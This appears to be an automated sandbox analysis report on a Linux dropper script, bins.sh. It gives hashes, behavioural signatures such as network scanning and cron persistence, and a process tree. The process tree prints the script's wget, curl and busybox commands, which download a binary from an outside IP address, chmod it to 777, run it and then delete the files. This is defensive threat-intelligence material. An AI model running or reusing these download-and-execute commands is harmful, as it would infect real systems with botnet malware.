Analysis
-
max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 15:32
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
0e17ad464af64a931d90034b6bf2533d
-
SHA1
fa3ac94af8804b2721185d6d797d2684d71db640
-
SHA256
e6617aa9d237a3501f1dddfee90b1885cb95d30f621921d876fbbe676752a435
-
SHA512
73f7d54af5bc9bb3abb834cce95be1aa9fd44b03f577258be3abdcc942f67a96e217ed21732611f31361bf636448aa74ba30d92584cf6c96149b065c765dd749
-
SSDEEP
192:T4g4EGKoOqSIZNW6CWQvPlBFdCSG4Em+qSIZNJCWQvPVBFdCSI:T4LKjqSIZNW6CWQvPEqSIZNJCWQvPs
Malware Config
Signatures
-
Contacts a large (2149) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1501 chmod -
Executes dropped EXE 1 IoCs
Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrrioc pid Process /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr 1502 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr -
Renames itself 1 IoCs
Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrrpid Process 1503 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.r504rY crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrrdescription ioc Process File opened for reading /proc/1337/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1572/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1679/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1694/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1741/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/18/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1179/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1532/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1535/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1570/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1604/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1625/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1674/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/2/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/26/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1706/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1747/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/22/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/85/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1125/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1469/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1673/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/172/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1512/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1511/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1723/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1737/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1147/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1117/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1601/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/709/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/529/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1164/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1561/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/115/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/17/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/429/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1186/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1638/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1670/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1710/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/11/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1540/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1698/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/35/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1004/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1547/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1576/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1640/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1656/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/166/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1580/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1588/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1612/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1701/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1709/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/16/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1244/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1513/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1569/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1607/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/24/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1076/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxwgetdescription ioc Process File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr curl File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr busybox File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1475
-
/bin/rm/bin/rm bins.sh2⤵PID:1476
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:1477
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:1499
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:1500
-
-
/bin/chmodchmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- File and Directory Permissions Modification
PID:1501
-
-
/tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1502 -
/bin/shsh -c "crontab -l"3⤵PID:1504
-
/usr/bin/crontabcrontab -l4⤵PID:1505
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1506
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1507
-
-
-
-
/bin/rmrm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵PID:1509
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵PID:1512
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
210B
MD5666a052a5a816fbb17808d74c9030589
SHA1066599863048f75b84524e3d4ea23e797838c5b6
SHA256187db94a97088107794b36ca45d3a59a4f47d63907dbe1f3b24378b65451446b
SHA512ea8ef46b1b26b6beaa959f8e4e04bd16f5170333e361046409adb72b89a2728ae1c86efe6a63cdb0bef5690d111bab4dd491c17a0a6e90da6de7b6da591c60ec